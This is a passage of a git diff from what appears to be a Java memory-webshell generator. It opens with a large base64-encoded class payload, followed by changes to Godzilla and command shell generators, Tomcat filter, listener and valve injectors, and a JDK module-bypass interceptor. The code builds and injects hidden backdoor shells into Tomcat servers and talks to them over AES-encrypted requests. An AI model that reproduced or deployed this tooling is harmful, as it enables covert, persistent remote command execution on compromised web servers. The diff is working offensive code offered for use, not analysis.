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"); byte[] bytes = generateGodzilla(); try (Response response = post(bytes)) { String setCookie = response.header("Set-Cookie"); if (setCookie != null && setCookie.contains("JSESSIONID=")) { cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";")); } - return response.code() == 200; + if (response.code() == 200) { + return true; + } else if (response.code() == 500) { + throw new RuntimeException(response.body().string()); + } + return false; } catch (IOException e) { return false; } @@ -142,7 +155,7 @@ public class GodzillaManager implements Closeable { if (response.code() == 200) { ResponseBody body = response.body(); if (body != null) { - String resultFromRes = getResultFromRes(body.string()); + String resultFromRes = getResultFromRes(body.string(), this.key, this.md5); return "ok".equals(resultFromRes); } } @@ -181,21 +194,22 @@ public class GodzillaManager implements Closeable { } } - private boolean isValidResponse(String response) { + private static boolean isValidResponse(String response, String md5) { if (StringUtils.isEmpty(response)) { return false; } - return response.length() > 32 && response.startsWith(md5.substring(0, 16)) && response.endsWith(md5.substring(16)); + return response.length() > 32 && response.startsWith(md5.substring(0, 16)) && response.trim().endsWith(md5.substring(16)); } - public String getResultFromRes(String responseBody) throws IOException { - if (!isValidResponse(responseBody)) { + @SneakyThrows + public static String getResultFromRes(String responseBody, String key, String md5) { + if (!isValidResponse(responseBody, md5)) { return responseBody; } String result = responseBody.substring(16); result = result.substring(0, result.length() - 16); byte[] bytes = Base64.decodeBase64(result); - byte[] x = aes(this.key, bytes, false); + byte[] x = aes(key, bytes, false); GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 6a124cdd..88b4ff89 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memsell; +import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; @@ -19,6 +20,7 @@ public class CommandGenerator { try (DynamicType.Unloaded make = new ByteBuddy() .redefine(commandClass) .name(commandClassName) + .visit(TargetJDKVersionVisitorWrapper.DEFAULT) .constructor(ElementMatchers.any()) .intercept(fieldSets) .make()) { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index 5b7253c7..9ab471ed 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -1,10 +1,15 @@ package com.reajason.javaweb.memsell; +import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; +import com.reajason.javaweb.config.Constants; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.SuperMethodCall; +import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; @@ -17,6 +22,14 @@ public class GodzillaGenerator { public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue) { + return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION); + } + + public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) { + return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true); + } + + public static byte[] generate(Class godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) { String md5Key = DigestUtils.md5Hex(key).substring(0, 16); String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); Implementation.Composable fieldSets = SuperMethodCall.INSTANCE @@ -25,13 +38,26 @@ public class GodzillaGenerator { .andThen(FieldAccessor.ofField("md5").setsValue(md5)) .andThen(FieldAccessor.ofField("headerName").setsValue(headerName)) .andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue)); - try (DynamicType.Unloaded make = new ByteBuddy() - .redefine(godzillaClass) - .name(godzillaClassName) - .constructor(ElementMatchers.any()) - .intercept(fieldSets) - .make()) { + + DynamicType.Builder builder = new ByteBuddy().redefine(godzillaClass) + .name(godzillaClassName); + + if (changeClassVersion) { + builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)); + } + + if (targetJdkVersion >= Opcodes.V9) { + builder = ByPassJdkModuleInterceptor.extend(builder); + } + + if (useJakarta) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets); + + try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } } -} +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index 7ae7f3f1..fd753aa9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -1,10 +1,14 @@ package com.reajason.javaweb.memsell; +import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; +import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.util.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FixedValue; +import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; import java.util.Objects; @@ -19,14 +23,24 @@ public class InjectorGenerator { @SneakyThrows public static byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) { + return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION); + } + + @SneakyThrows + public static byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) { String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");; - try (DynamicType.Unloaded make = new ByteBuddy() + DynamicType.Builder builder = new ByteBuddy() .redefine(injectClass) .name(injectClassName) + .visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, ""))) .method(named("getBase64String")).intercept(FixedValue.value(base64String)) - .method(named("getClassName")).intercept(FixedValue.value(shellClassName)) - .make()) { + .method(named("getClassName")).intercept(FixedValue.value(shellClassName)); + if (targetJdkVersion >= Opcodes.V9) { + builder = ByPassJdkModuleInterceptor.extend(builder); + } + + try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index 72bb7091..8a62f3ee 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -4,8 +4,12 @@ import com.reajason.javaweb.config.*; import com.reajason.javaweb.memsell.CommandGenerator; import com.reajason.javaweb.memsell.GodzillaGenerator; import com.reajason.javaweb.memsell.InjectorGenerator; -import com.reajason.javaweb.memsell.tomcat.command.*; -import com.reajason.javaweb.memsell.tomcat.godzilla.*; +import com.reajason.javaweb.memsell.tomcat.command.CommandFilter; +import com.reajason.javaweb.memsell.tomcat.command.CommandListener; +import com.reajason.javaweb.memsell.tomcat.command.CommandValve; +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; @@ -20,6 +24,7 @@ import java.util.Map; * @since 2024/11/22 */ public class TomcatShell { + public static final String JAKARTA = "Jakarta"; public static final String SERVLET = "Servlet"; public static final String JAKARTA_SERVLET = "JakartaServlet"; public static final String FILTER = "Filter"; @@ -28,6 +33,7 @@ public class TomcatShell { public static final String JAKARTA_LISTENER = "JakartaListener"; public static final String WEBSOCKET = "Websocket"; public static final String VALVE = "Valve"; + public static final String JAKARTA_VALVE = "JakartaValve"; public static final String UPGRADE = "Upgrade"; public static final String EXECUTOR = "Executor"; @@ -36,12 +42,15 @@ public class TomcatShell { */ public static final Map, Class>> GODZILLA_SHELL_MAP = new HashMap<>(); + static { GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class)); + GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class)); + GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); + // tomcat 无法同时引入两个版本的包 + GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); } /** @@ -51,19 +60,20 @@ public class TomcatShell { static { COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); - COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class)); + COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)); COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); - COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class)); + COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); } @SneakyThrows - public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) { + public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) { if (shellTool == null || shellType == null || shellConfig == null) { throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null."); } Pair, Class> classPair; byte[] shellBytes; + boolean useJakarta = shellType.startsWith(JAKARTA); switch (shellTool) { case Godzilla: { classPair = GODZILLA_SHELL_MAP.get(shellType); @@ -73,7 +83,10 @@ public class TomcatShell { godzillaConfig.getPass(), godzillaConfig.getKey(), godzillaConfig.getHeaderName(), - 